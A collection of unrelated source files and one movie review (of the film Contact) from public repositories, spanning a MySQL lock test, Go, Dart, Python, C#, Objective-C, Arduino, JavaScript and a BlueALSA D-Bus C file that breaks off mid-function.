# In our case unique key on c1 does not depend on c2, and we will use this to
# check for bugs in handling implicit locks on secondary indexes,
# by UPDATEing c2, and checking if the algorithm believes it caused
# change to c1, while it obviously didn't.
CREATE TABLE t1(
id INT NOT NULL,
c1 INT NOT NULL,
c2 INT NOT NULL,
PRIMARY KEY (id DESC),
UNIQUE KEY(c1)
) Engine=InnoDB;
INSERT INTO t1 (id,c1,c2) VALUES (0,0,0),(1,1,1),(3,3,3);
# lock_sec_rec_some_has_impl has some heuristics which try to avoid
# invoking costly algorithm, by performing some easy checks first,
# one of which is to compare page_get_max_trx_id(page) with
# trx_rw_min_trx_id(). To help us pass through this check, we keep
# create a rw-transaction from `view_keeper` and keep it open, and then we
# also modify the secondary index page from `default`.
# Keep trx_rw_min_trx_id() low:
--connect (view_keeper, localhost, root,,)
BEGIN;
UPDATE t1 SET c2=13 WHERE id = 3;
# Make page_get_max_trx_id(block->frame) updated:
--connection default
INSERT INTO t1 (id,c1,c2) VALUES (4,4,4); | {
"pile_set_name": "Github"
} |
package cli
// BashCompleteFunc is an action to execute when the bash-completion flag is set
type BashCompleteFunc func(*Context)
// BeforeFunc is an action to execute before any subcommands are run, but after
// the context is ready if a non-nil error is returned, no subcommands are run
type BeforeFunc func(*Context) error
// AfterFunc is an action to execute after any subcommands are run, but after the
// subcommand has finished it is run even if Action() panics
type AfterFunc func(*Context) error
// ActionFunc is the action to execute when no subcommands are specified
type ActionFunc func(*Context) error
// CommandNotFoundFunc is executed if the proper command cannot be found
type CommandNotFoundFunc func(*Context, string)
// OnUsageErrorFunc is executed if an usage error occurs. This is useful for displaying
// customized usage error messages. This function is able to replace the
// original error messages. If this function is not set, the "Incorrect usage"
// is displayed and the execution is interrupted.
type OnUsageErrorFunc func(context *Context, err error, isSubcommand bool) error
// FlagStringFunc is used by the help generation to display a flag, which is
// expected to be a single line.
type FlagStringFunc func(Flag) string
| {
"pile_set_name": "Github"
} |
contact is the 1997 movie i've seen the most - five times to be exact .
four of those times were on the big screen , but even on a tv , it's a very impressive film .
the same can't be said for films like independance day , but that's because contact is a rare example in sci-fi filmmaking where the story is treated more importantly than the special effects , and all of us know looking back that id4 didn't offer much outside of some one-time delightful eye candy .
contact's wonderfully presented story deals with ellie arroway ( jodie foster ) , a radio astronomer whose preference of study involves the outdated technique of " merely listening " to sounds out in space .
her interest in the field of astronomy developed at a very young age , encouraged by her loving father , ted ( david morse ) , who let ellie use a small ham radio to pick up on frequencies and communicate with people as far away as pensacola , fl ( that was , of course , before the days of internet chat rooms ) .
while everyone else uses modern technologies to aid them in the search for extra-terrestrial intelligence ( of which the program seti is an acronym for ) , ellie prefers to pop on a pair of headphones and see what she can pick up on , keeping the youthful magic and intrigue strongly alive .
ellie's strong scientific basis essentially makes her an atheist , a belief likely influenced by the death of her father while she was still quite young .
in puerto rico , she meets palmer joss ( matthew mcconaughey ) , a writer examining the effects of technology on the world's overall happiness ; a one- time seminary student who describes himself as " a man of the cloth , without the cloth " .
despite the vast differences in opinion regarding a " supreme being " , ellie and palmer hit it off , and even take the time to sleep together .
it's a weak and hurried relationship , but director zemeckis needs it to add to the plot later on .
meanwhile , dr . david drumlin ( tom skerritt ) , who has authority over seti but finds the program a frivolous waste of time and money , is ready to pull the plug on any and all seti funding .
this leaves the passionate ellie searching for new sponsors , eventually finding a setup in new mexico and leaving palmer with no explanation , and only a one night stand to remember .
it is in this nm city where , several months later , ellie finally picks up on a strong signal from outer space , perhaps the most profound discovery in the history of science .
when the signal is closely examined , many new developments spring up , and before long , drumlin is stepping in to take over the operation he once scoffed at .
eventually , it is concluded that information in the signal may be blueprints for a transportation device used to teleport an earthling to vega ( where the signal seems to have originated ) .
the media swarms , fanatics go further off the deep end , scientists clamor for new information , politicians huddle in discussion of appropriate actions to take , and presidents are morphed into a celluloid reality ( remember when zemeckis couldn't get enough of this in forrest gump ? ) .
as if that weren't enough , ellie's discovery leads her to the nation's capital where she again runs into palmer .
contact is based on the novel by carl sagan and deals heavily with the subject of science vs . religion .
the impressive thing is how well both aspects are presented , with no signs of bias .
arguments for both sides are intelligent , solid , and thought-provoking .
when palmer joins a selection committee to choose an ambassador to vega ( of which ellie is a leading candidate ) , personal convictions play a more important role than love interests .
the question is , can a person who doesn't believe in god truly be the best representative of earth when 90% of the planet * does * believe in a higher power ?
even when the film wraps up , it's uncertain whether it's meant to play as an advocate for religion , science , both , or even neither , and in our modern day society where " right and wrong " is only opinion ( at least speaking " politically correctly " ) , the ambiguity is an incentive .
don't get me wrong .
as much as it sounds like it , contact isn't merely a theology class rolled into a reel of film .
it's a * highly * enjoyable two and a half hours .
despite its seemingly heavy issues , it's not a tedious undertaking to watch this film .
the special effects are outstanding , though ( warning ! )
highly depreciated on the small screen .
even so , some of the subtle visual effects ( that will likely go unnoticed by many ) are even more impressive than ones more recognizable as " sci-fi " .
the storytelling is rich and complete , and although there are moments in the film that feel quite pretentious ( and at times , even hokey ) , it's easily one of the best 1997 films , and one of the best sci-fi films i've ever seen .
this is zemeckis' best since back to the future , and for those of us who actually know that forrest gump was astronomically overrated , zemeckis now has real reason to boast .
| {
"pile_set_name": "Github"
} |
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
import 'dart:convert';
import 'dart:async';
import 'package:http/http.dart' as http;
import '../key.dart' show key;
main() {
getPlaces(33.9850, -118.4695); // Venice Beach, CA
}
class Place {
final String name;
final double rating;
final String address;
Place.fromJson(Map jsonMap) :
name = jsonMap['name'],
rating = jsonMap['rating']?.toDouble() ?? -1.0,
address = jsonMap['vicinity'];
String toString() => 'Place: $name';
}
Future<Stream<Place>> getPlaces(double lat, double lng) async {
var url = 'https://maps.googleapis.com/maps/api/place/nearbysearch/json' +
'?location=$lat,$lng' +
'&radius=500&type=restaurant' +
'&key=$key';
// http.get(url).then((res) => print(res.body));
var client = new http.Client();
var streamedRes = await client.send(new http.Request('get', Uri.parse(url)));
return streamedRes.stream
.transform(UTF8.decoder)
.transform(JSON.decoder)
.expand((jsonBody) => (jsonBody as Map)['results'] )
.map((jsonPlace) => new Place.fromJson(jsonPlace));
} | {
"pile_set_name": "Github"
} |
"""
The module of tools for parallelization (MPI)
"""
import numpy as np
def get_id_within_node(comm=None):
from mpi4py import MPI
if comm is None: comm = MPI.COMM_WORLD
rank = comm.rank
nodename = MPI.Get_processor_name()
nodelist = comm.allgather(nodename)
return len([i for i in nodelist[:rank] if i==nodename])
def divide_data(datanum, rank, size):
assert rank<size and datanum>0
residue = (datanum)%size
datanum_list = np.empty((size),dtype=np.int32)
for i in range(size):
if i<residue:
datanum_list[i] = int(datanum/size)+1
else:
datanum_list[i] = int(datanum/size)
if rank<residue:
size = datanum/size+1
offset = size*rank
else:
size = datanum/size
offset = size*rank+residue
return offset, offset+size, datanum_list
def optimize_parallel(model, optimizer=None, messages=True, max_iters=1000, outpath='.', interval=100, name=None, **kwargs):
from math import ceil
from datetime import datetime
import os
if name is None: name = model.name
stop = 0
for iter in range(int(ceil(float(max_iters)/interval))):
model.optimize(optimizer=optimizer, messages= True if messages and model.mpi_comm.rank==model.mpi_root else False, max_iters=interval, **kwargs)
if model.mpi_comm.rank==model.mpi_root:
timenow = datetime.now()
timestr = timenow.strftime('%Y:%m:%d_%H:%M:%S')
model.save(os.path.join(outpath, name+'_'+timestr+'.h5'))
opt = model.optimization_runs[-1]
if opt.funct_eval<opt.max_f_eval:
stop = 1
stop = model.mpi_comm.bcast(stop, root=model.mpi_root)
if stop:
break
| {
"pile_set_name": "Github"
} |
// Patterns: 1
// Matches: Foo.cs,Bar.cs
// NotMatches: CommonImpl1.cs
using System.Reflection;
using StructureMap.Configuration.DSL;
namespace TestApplication.StructureMap.ScanTests
{
public class RegistryScanAssemblyGetExecutingAssembly : Registry
{
public RegistryScanAssemblyGetExecutingAssembly()
{
Scan(scanner =>
{
scanner.Assembly(Assembly.GetExecutingAssembly());
scanner.WithDefaultConventions();
});
}
}
} | {
"pile_set_name": "Github"
} |
/**
* Copyright (c) 2012, 2015 Pecunia Project. All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; version 2 of the
* License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*/
#import "OrdersListViewCell.h"
#import "PreferenceController.h"
#import "StandingOrder.h"
#import "BankingCategory.h"
#import "BankAccount.h"
#import "NSColor+PecuniaAdditions.h"
#import "ValueTransformers.h"
extern void *UserDefaultsBindingContext;
extern NSString *const CategoryColorNotification;
extern NSString *const CategoryKey;
extern NSDateFormatter *dateFormatter; // From PecuniaListViewCell.
extern NSDictionary *whiteAttributes;
@interface OrdersListViewCell ()
{
IBOutlet NSTextField *nextDateLabel;
IBOutlet NSTextField *lastDateLabel;
IBOutlet NSTextField *bankNameLabel;
IBOutlet NSTextField *remoteNameLabel;
IBOutlet NSTextField *purposeLabel;
IBOutlet NSTextField *valueLabel;
IBOutlet NSTextField *currencyLabel;
IBOutlet NSTextField *lastDateTitle;
IBOutlet NSTextField *nextDateTitle;
IBOutlet NSImageView *editImage;
IBOutlet NSImageView *sendImage;
IBOutlet NSButton *deleteButton;
IBOutlet NSTextField *ibanCaption;
IBOutlet NSTextField *ibanLabel;
IBOutlet NSTextField *bicCaption;
IBOutlet NSTextField *bicLabel;
NSColor *categoryColor;
}
@end
@implementation OrdersListViewCell
#pragma mark - Init/Dealloc
- (id)initWithFrame: (NSRect)frame
{
self = [super initWithFrame: frame];
if (self != nil) {
[NSNotificationCenter.defaultCenter addObserverForName: CategoryColorNotification
object: nil
queue: nil
usingBlock:
^(NSNotification *notification) {
BankingCategory *category = (notification.userInfo)[CategoryKey];
BankAccount *account = [self.representedObject account];
if (category == (id)account) { // Weird warning without cast.
categoryColor = category.categoryColor;
[self setNeedsDisplay: YES];
}
}
];
// In addition listen to certain preference changes.
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults addObserver: self forKeyPath: @"autoCasing" options: 0 context: UserDefaultsBindingContext];
}
return self;
}
- (void)dealloc {
[NSNotificationCenter.defaultCenter removeObserver: self];
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults removeObserver: self forKeyPath: @"autoCasing"];
}
- (void)awakeFromNib
{
[super awakeFromNib];
[self registerStandardLabel: remoteNameLabel];
[self registerStandardLabel: ibanLabel];
[self registerStandardLabel: bicLabel];
[self registerStandardLabel: nextDateLabel];
[self registerStandardLabel: lastDateLabel];
[self registerNumberLabel: valueLabel];
[self registerPaleLabel: bankNameLabel];
[self registerPaleLabel: purposeLabel];
[self registerPaleLabel: currencyLabel];
[self registerPaleLabel: ibanCaption];
[self registerPaleLabel: bicCaption];
[self registerPaleLabel: nextDateTitle];
[self registerPaleLabel: lastDateTitle];
[self adjustLabelsAndSize];
}
- (void)observeValueForKeyPath: (NSString *)keyPath
ofObject: (id)object
change: (NSDictionary *)change
context: (void *)context {
if (context == UserDefaultsBindingContext) {
if ([keyPath isEqualToString: @"autoCasing"]) {
[self updateLabelsWithCasing: [NSUserDefaults.standardUserDefaults boolForKey: @"autoCasing"]];
return;
}
}
[super observeValueForKeyPath: keyPath ofObject: object change: change context: context];
}
- (IBAction)cancelDeletion: (id)sender
{
StandingOrder *order = self.representedObject;
order.toDelete = @NO;
deleteButton.hidden = YES;
}
- (void)setRepresentedObject: (id)object
{
[super setRepresentedObject: object];
StandingOrder *order = object;
[self updateLabelsWithCasing: [NSUserDefaults.standardUserDefaults boolForKey: @"autoCasing"]];
dateFormatter.dateStyle = kCFDateFormatterShortStyle;
nextDateLabel.stringValue = [dateFormatter stringFromDate: order.firstExecDate];
static NSDate *farAway = nil;
if (farAway == nil) {
farAway = [[NSDate alloc] initWithString: @"1.1.2900"];
}
if (order.lastExecDate > farAway) {
lastDateLabel.stringValue = @"--";
} else {
lastDateLabel.stringValue = [dateFormatter stringFromDate: order.lastExecDate];
}
valueLabel.objectValue = order.value;
bankNameLabel.stringValue = [self formatValue: order.remoteBankName capitalize: NO];
bankNameLabel.toolTip = bankNameLabel.stringValue;
// By now all standing orders are SEPA orders. No traditional type anymore.
bicLabel.stringValue = [self formatValue: order.remoteBIC capitalize: NO];
if (bicLabel.stringValue.length == 0) {
bicLabel.stringValue = NSLocalizedString(@"AP35", nil);
}
bicLabel.toolTip = bicLabel.stringValue;
ibanLabel.stringValue = [self formatValue: order.remoteIBAN capitalize: NO];
if (ibanLabel.stringValue.length == 0) {
ibanLabel.stringValue = NSLocalizedString(@"AP35", nil);
}
ibanLabel.toolTip = ibanLabel.stringValue;
categoryColor = order.account.categoryColor;
static CurrencyValueTransformer *currencyTransformer;
if (currencyTransformer == nil) {
currencyTransformer = [[CurrencyValueTransformer alloc] init];
}
NSString *currency = [self formatValue: order.currency capitalize: NO];
NSString *symbol = [currencyTransformer transformedValue: currency];
currencyLabel.stringValue = symbol;
[[[valueLabel cell] formatter] setCurrencyCode: currency]; // Important for proper display of the value, even without currency.
editImage.hidden = !order.isChanged.boolValue;
sendImage.hidden = !order.isSent.boolValue;
deleteButton.hidden = !order.toDelete.boolValue;
[self adjustLabelsAndSize];
}
- (void)updateLabelsWithCasing: (BOOL)autoCasing {
StandingOrder *order = self.representedObject;
id value = [self formatValue: order.remoteName capitalize: autoCasing];
remoteNameLabel.stringValue = value;
remoteNameLabel.toolTip = value;
value = [self formatValue: order.purpose capitalize: autoCasing];
purposeLabel.stringValue = value;
purposeLabel.toolTip = value;
}
#pragma mark - Drawing
- (void)refresh
{
[self setNeedsDisplay: YES];
}
#define DENT_SIZE 4
- (void)drawRect: (NSRect)dirtyRect
{
NSGraphicsContext *context = [NSGraphicsContext currentContext];
[context saveGraphicsState];
NSRect bounds = [self bounds];
if ([self isSelected]) {
NSBezierPath *path = [NSBezierPath bezierPath];
[path moveToPoint: NSMakePoint(bounds.origin.x + 7, bounds.origin.y)];
[path lineToPoint: NSMakePoint(bounds.origin.x + bounds.size.width, bounds.origin.y)];
[path lineToPoint: NSMakePoint(bounds.origin.x + bounds.size.width, bounds.origin.y + bounds.size.height)];
[path lineToPoint: NSMakePoint(bounds.origin.x + 7, bounds.origin.y + bounds.size.height)];
// Add a number of dents (triangles) to the left side of the path. Since our height might not be a multiple
// of the dent height we distribute the remaining pixels to the first and last dent.
CGFloat y = bounds.origin.y + bounds.size.height - 0.5;
CGFloat x = bounds.origin.x + 7.5;
NSUInteger dentCount = bounds.size.height / DENT_SIZE;
if (dentCount > 0) {
NSUInteger remaining = bounds.size.height - DENT_SIZE * dentCount;
NSUInteger i = 0;
NSUInteger dentHeight = DENT_SIZE + remaining / 2;
remaining -= remaining / 2;
// First dent.
[path lineToPoint: NSMakePoint(x + DENT_SIZE, y - dentHeight / 2)];
[path lineToPoint: NSMakePoint(x, y - dentHeight)];
y -= dentHeight;
// Intermediate dents.
for (i = 1; i < dentCount - 1; i++) {
[path lineToPoint: NSMakePoint(x + DENT_SIZE, y - DENT_SIZE / 2)];
[path lineToPoint: NSMakePoint(x, y - DENT_SIZE)];
y -= DENT_SIZE;
}
// Last dent.
dentHeight = DENT_SIZE + remaining;
[path lineToPoint: NSMakePoint(x + DENT_SIZE, y - dentHeight / 2)];
[path lineToPoint: NSMakePoint(x, y - dentHeight)];
[self.selectionGradient drawInBezierPath: path angle: 90.0];
}
}
if (categoryColor != nil) {
[categoryColor set];
NSRect colorRect = bounds;
colorRect.size.width = 5;
[NSBezierPath fillRect: colorRect];
}
[[NSColor colorWithDeviceWhite: 0 / 255.0 alpha: 1] set];
NSBezierPath *path = [NSBezierPath bezierPath];
[path setLineWidth: 1];
// Separator line between main text part and the rest.
CGFloat left = valueLabel.frame.origin.x + 0.5;
[path moveToPoint: NSMakePoint(left - 6, 10)];
[path lineToPoint: NSMakePoint(left - 6, bounds.size.height - 10)];
// Left, right and bottom lines.
[path moveToPoint: NSMakePoint(0, 0)];
[path lineToPoint: NSMakePoint(0, bounds.size.height)];
[path moveToPoint: NSMakePoint(bounds.size.width, 0)];
[path lineToPoint: NSMakePoint(bounds.size.width, bounds.size.height)];
[path moveToPoint: NSMakePoint(0, 0)];
[path lineToPoint: NSMakePoint(bounds.size.width, 0)];
[[NSColor colorWithDeviceWhite: 210 / 255.0 alpha: 1] set];
[path stroke];
[context restoreGraphicsState];
}
@end
| {
"pile_set_name": "Github"
} |
0000000000000000000000000000000000000000 720959b1160d075bf1b4c44df60355b217b738fa Brendan Forster <[email protected]> 1486548705 +0100 commit (initial): baseline file
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
def compute_fb_scale(window_size, frame_buffer_size):
win_width, win_height = window_size
fb_width, fb_height = frame_buffer_size
# future: remove floats after dropping py27 support
if win_width != 0 and win_width != 0:
return float(fb_width) / win_width, float(fb_height) / win_height
return 1., 1.
| {
"pile_set_name": "Github"
} |
// Copyright 2013-2020 Automatak, LLC
//
// Licensed to Green Energy Corp (www.greenenergycorp.com) and Automatak
// LLC (www.automatak.com) under one or more contributor license agreements.
// See the NOTICE file distributed with this work for additional information
// regarding copyright ownership. Green Energy Corp and Automatak LLC license
// this file to you under the Apache License, Version 2.0 (the "License"); you
// may not use this file except in compliance with the License. You may obtain
// a copy of the License at:
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Automatak.DNP3.Interface
{
/// <summary>
/// Aggreate configuration for a master stack
/// </summary>
public class MasterStackConfig
{
/// <summary>
/// Reasonable defaults
/// </summary>
public MasterStackConfig()
{
this.link = new LinkConfig(true, false);
this.master = new MasterConfig();
}
/// <summary>
/// Configuration for a master
/// </summary>
public MasterConfig master;
/// <summary>
/// Configuration for the link layer
/// </summary>
public LinkConfig link;
}
}
| {
"pile_set_name": "Github"
} |
//******************************************************************************************
// File: EX_RGBW_Dim.h
// Authors: Allan (vseven) based on EX_Switch_Dim by Dan G Ogorchock
//
// Summary: EX_RGBW_Dim is a class which implements the SmartThings "Color Control", "Switch", and "Switch Level" device capabilities.
// It inherits from the st::Executor class.
//
// Create an instance of this class in your sketch's global variable section
// For Example: st::EX_RGBW_Dim executor1("rgbwSwitch1", PIN_R, PIN_G, PIN_B, PIN_W, true, 0, 1, 2, 3);
//
// st::EX_RGBW_Dim() constructor requires the following arguments
// - String &name - REQUIRED - the name of the object - must match the Groovy ST_Anything DeviceType tile name
// - byte pin_r - REQUIRED - the Arduino Pin to be used as a digital output for Red.
// - byte pin_g - REQUIRED - the Arduino Pin to be used as a digital output for Green.
// - byte pin_b - REQUIRED - the Arduino Pin to be used as a digital output for Blue.
// - byte pin_w - REQUIRED - the Arduino Pin to be used as a digital output for White.
// - bool commonAnode - REQUIRED - determines whether the LED uses a common Anode or Cathode. True for Anode.
// - byte channel_r - OPTIONAL - PWM channel used for Red on a ESP32.
// - byte channel_g - OPTIONAL - PWM channel used for Green on a ESP32.
// - byte channel_b - OPTIONAL - PWM channel used for Blue on a ESP32.
// - byte channel_w - OPTIONAL - PWM channel used for Whitw on a ESP32.
//
// Change History:
//
// Date Who What
// ---- --- ----
// 2016-04-30 Dan Ogorchock Original Creation
// 2018-08-14 Dan Ogorchock Modified to avoid compiler errors on ESP32 since it currently does not support "analogWrite()"
// 2017-08-30 Dan Ogorchock Modified comment section above to comply with new Parent/Child Device Handler requirements
// 2017-10-08 Allan (vseven) Modified original code from EX_RGBW_Dim to be used for RGB lighting
// 2017-10-12 Allan (vseven) Modified EX_RGBW_Dim for support of a White LED channel
// 2018-04-02 Dan Ogorchock Fixed Typo
// 2020-06-09 Dan Ogorchock Scaled the 8bit values to 10bit for ESP8266 "analogWrite()"
//
//******************************************************************************************
#include "EX_RGBW_Dim.h"
#include "Constants.h"
#include "Everything.h"
namespace st
{
//private
void EX_RGBW_Dim::writeRGBWToPins()
{
int subStringR;
int subStringG;
int subStringB;
int subStringW;
if (m_bCurrentState == HIGH) {
// Our status is on so get the RGBW value from the hex
String hexstring = m_sCurrentHEX;
unsigned long number = (unsigned long) strtoul( &hexstring[1], NULL, 16);
// Split them up into r, g, b, w values
subStringR = number >> 24;
subStringG = number >> 16 & 0xFF;
subStringB = number >> 8 & 0xFF;
subStringW = number & 0xFF;
} else {
// Status is off so turn off LED
subStringR = 00;
subStringG = 00;
subStringB = 00;
subStringW = 00;
}
if(m_bCommonAnode) {
// A hex value of 00 will translate to 255 for a common anode. However the
// ledcWrite seems to need a 256 to turn off so we are adding one here.
#if defined(ARDUINO_ARCH_ESP32)
subStringR = 255 - subStringR + 1;
subStringG = 255 - subStringG + 1;
subStringB = 255 - subStringB + 1;
subStringW = 255 - subStringW + 1;
#else
subStringR = 255 - subStringR;
subStringG = 255 - subStringG;
subStringB = 255 - subStringB;
subStringW = 255 - subStringW;
#endif
}
// Write to outputs. Use ledc for ESP32, analogWrite for everything else.
if (st::Executor::debug) {
#if defined(ARDUINO_ARCH_ESP32)
Serial.print(F("subString R:G:B:W = "));
Serial.println(String(subStringR) + ":" + String(subStringG) + ":" + String(subStringB) + ":" + String(subStringW));
#elif defined(ARDUINO_ARCH_ESP8266)
Serial.print(F("subString R:G:B:W = "));
Serial.println(String(map(subStringR, 0, 255, 0, 1023)) + ":" + String(map(subStringG, 0, 255, 0, 1023)) + ":" + String(map(subStringB, 0, 255, 0, 1023)) + ":" + String(map(subStringW, 0, 255, 0, 1023)));
#else
Serial.print(F("subString R:G:B:W = "));
Serial.println(String(subStringR) + ":" + String(subStringG) + ":" + String(subStringB) + ":" + String(subStringW));
#endif
}
// Any adjustments to the colors can be done here before sending the commands. For example if red is always too bright reduce it:
// subStringR = subStringR * 0.95
#if defined(ARDUINO_ARCH_ESP32)
ledcWrite(m_nChannelR, subStringR);
#elif defined(ARDUINO_ARCH_ESP8266)
analogWrite(m_nPinR, map(subStringR, 0, 255, 0, 1023));
#else
analogWrite(m_nPinR, subStringR);
#endif
#if defined(ARDUINO_ARCH_ESP32)
ledcWrite(m_nChannelG, subStringG);
#elif defined(ARDUINO_ARCH_ESP8266)
analogWrite(m_nPinG, map(subStringG, 0, 255, 0, 1023));
#else
analogWrite(m_nPinG, subStringG);
#endif
#if defined(ARDUINO_ARCH_ESP32)
ledcWrite(m_nChannelB, subStringB);
#elif defined(ARDUINO_ARCH_ESP8266)
analogWrite(m_nPinB, map(subStringB, 0, 255, 0, 1023));
#else
analogWrite(m_nPinB, subStringB);
#endif
#if defined(ARDUINO_ARCH_ESP32)
ledcWrite(m_nChannelW, subStringW);
#elif defined(ARDUINO_ARCH_ESP8266)
analogWrite(m_nPinW, map(subStringW, 0, 255, 0, 1023));
#else
analogWrite(m_nPinW, subStringW);
#endif
}
//public
//constructor
EX_RGBW_Dim::EX_RGBW_Dim(const __FlashStringHelper *name, byte pinR, byte pinG, byte pinB, byte pinW, bool commonAnode, byte channelR, byte channelG, byte channelB, byte channelW):
Executor(name),
m_bCommonAnode(commonAnode)
{
setRedPin(pinR, channelR);
setGreenPin(pinG, channelG);
setBluePin(pinB, channelB);
setWhitePin(pinW, channelW);
}
//destructor
EX_RGBW_Dim::~EX_RGBW_Dim()
{
}
void EX_RGBW_Dim::init()
{
Everything::sendSmartString(getName() + " " + (m_bCurrentState == HIGH ? F("on") : F("off")));
}
void EX_RGBW_Dim::beSmart(const String &str)
{
String s=str.substring(str.indexOf(' ')+1);
if (st::Executor::debug) {
Serial.print(F("EX_RGBW_Dim::beSmart s = "));
Serial.println(s);
}
if(s==F("on"))
{
m_bCurrentState=HIGH;
}
else if(s==F("off"))
{
m_bCurrentState=LOW;
}
else //must be a set color command
{
s.trim();
m_sCurrentHEX = s;
}
writeRGBWToPins();
Everything::sendSmartString(getName() + " " + (m_bCurrentState == HIGH?F("on"):F("off")));
}
void EX_RGBW_Dim::refresh()
{
Everything::sendSmartString(getName() + " " + (m_bCurrentState == HIGH?F("on"):F("off")));
}
void EX_RGBW_Dim::setRedPin(byte pin, byte channel)
{
m_nPinR = pin;
m_nChannelR = channel;
#if defined(ARDUINO_ARCH_ESP32)
ledcAttachPin(m_nPinR, m_nChannelR);
ledcSetup(m_nChannelR, 5000, 8);
#else
pinMode(m_nPinR, OUTPUT);
#endif
}
void EX_RGBW_Dim::setGreenPin(byte pin, byte channel)
{
m_nPinG = pin;
m_nChannelG = channel;
#if defined(ARDUINO_ARCH_ESP32)
ledcAttachPin(m_nPinG, m_nChannelG);
ledcSetup(m_nChannelG, 5000, 8);
#else
pinMode(m_nPinG, OUTPUT);
#endif
}
void EX_RGBW_Dim::setBluePin(byte pin, byte channel)
{
m_nPinB = pin;
m_nChannelB = channel;
#if defined(ARDUINO_ARCH_ESP32)
ledcAttachPin(m_nPinB, m_nChannelB);
ledcSetup(m_nChannelB, 5000, 8);
#else
pinMode(m_nPinB, OUTPUT);
#endif
}
void EX_RGBW_Dim::setWhitePin(byte pin, byte channel)
{
m_nPinW = pin;
m_nChannelW = channel;
#if defined(ARDUINO_ARCH_ESP32)
ledcAttachPin(m_nPinW, m_nChannelW);
ledcSetup(m_nChannelW, 5000, 8);
#else
pinMode(m_nPinW, OUTPUT);
#endif
}
}
| {
"pile_set_name": "Github"
} |
//
// _RXDelegateProxy.h
// RxCocoa
//
// Created by Krunoslav Zaher on 7/4/15.
// Copyright © 2015 Krunoslav Zaher. All rights reserved.
//
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface _RXDelegateProxy : NSObject
@property (nonatomic, weak, readonly) id _forwardToDelegate;
-(void)_setForwardToDelegate:(id __nullable)forwardToDelegate retainDelegate:(BOOL)retainDelegate;
-(BOOL)hasWiredImplementationForSelector:(SEL)selector;
-(BOOL)voidDelegateMethodsContain:(SEL)selector;
-(void)_sentMessage:(SEL)selector withArguments:(NSArray*)arguments;
-(void)_methodInvoked:(SEL)selector withArguments:(NSArray*)arguments;
@end
NS_ASSUME_NONNULL_END
| {
"pile_set_name": "Github"
} |
import { isFunction, isModulePath, requireLocalFileOrNodeModule } from '../utils';
/**
* Resolves append option for css-modules-require-hook
*
* @param {*} value
* @returns {Function}
*/
export default function append(value/* , currentConfig */) {
if (Array.isArray(value)) {
return value.map((option, index) => {
if (isFunction(option)) {
return option();
} else if (isModulePath(option)) {
const requiredOption = requireLocalFileOrNodeModule(option);
if (!isFunction(requiredOption)) {
throw new Error(`Configuration 'append[${index}]' module is not exporting a function`);
}
return requiredOption();
}
throw new Error(`Configuration 'append[${index}]' is not a function or a valid module path`);
});
}
throw new Error(`Configuration 'append' is not an array`);
}
| {
"pile_set_name": "Github"
} |
/*
* BlueALSA - dbus.c
* Copyright (c) 2016-2020 Arkadiusz Bokowy
*
* This file is a part of bluez-alsa.
*
* This project is licensed under the terms of the MIT license.
*
*/
#include "dbus.h"
#include <stdbool.h>
#include <string.h>
static bool dbus_message_iter_get_basic_boolean(DBusMessageIter *iter) {
dbus_bool_t tmp = FALSE;
return dbus_message_iter_get_basic(iter, &tmp), tmp;
}
static unsigned int dbus_message_iter_get_basic_integer(DBusMessageIter *iter) {
dbus_uint32_t tmp = 0;
return dbus_message_iter_get_basic(iter, &tmp), tmp;
}
static const char *dbus_message_iter_get_basic_string(DBusMessageIter *iter) {
const char *tmp = "";
return dbus_message_iter_get_basic(iter, &tmp), tmp;
}
DBusMessage *dbus_get_properties(DBusConnection *conn,
const char *service, const char *path, const char *interface,
const char *property, DBusError *error) {
DBusMessage *msg;
const char *method = property == NULL ? "GetAll" : "Get";
if ((msg = dbus_message_new_method_call(service, path,
DBUS_INTERFACE_PROPERTIES, method)) == NULL)
return NULL;
DBusMessage *rep = NULL;
DBusMessageIter iter;
dbus_message_iter_init_append(msg, &iter);
if (!dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &interface))
goto fail;
if (property != NULL &&
!dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &property))
goto fail;
rep = dbus_connection_send_with_reply_and_block(conn, msg,
DBUS_TIMEOUT_USE_DEFAULT, error);
fail:
dbus_message_unref(msg);
return rep;
}
int dbus_bluez_get_device(DBusConnection *conn, const char *path,
struct bluez_device *dev, DBusError *error) {
char path_addr[sizeof("00:00:00:00:00:00")] = { 0 };
char *tmp;
size_t i;
memset(dev, 0, sizeof(*dev));
strncpy(dev->path, path, sizeof(dev->path) - 1);
/* Try to extract BT MAC address from the D-Bus path. We will use it as
* a fallback in case where BlueZ service is not available on the bus -
* usage with bluealsa-mock server. */
if ((tmp = strstr(path, "/dev_")) != NULL)
strncpy(path_addr, tmp + 5, sizeof(path_addr) - 1);
for (i = 0; i < sizeof(path_addr); i++)
if (path_addr[i] == '_')
path_addr[i] = ':';
str2ba(path_addr, &dev->bt_addr);
DBusMessage *rep;
if ((rep = dbus_get_properties(conn, "org.bluez", path,
"org.bluez.Device1", NULL, error)) == NULL)
return -1;
DBusMessageIter iter;
dbus_message_iter_init(rep, &iter);
DBusMessageIter iter_dict;
for (dbus_message_iter_recurse(&iter, &iter_dict);
dbus_message_iter_get_arg_type(&iter_dict) != DBUS_TYPE_INVALID;
dbus_message_iter_next(&iter_dict)) {
DBusMessageIter iter_entry;
DBusMessageIter iter_entry_val;
const char *key;
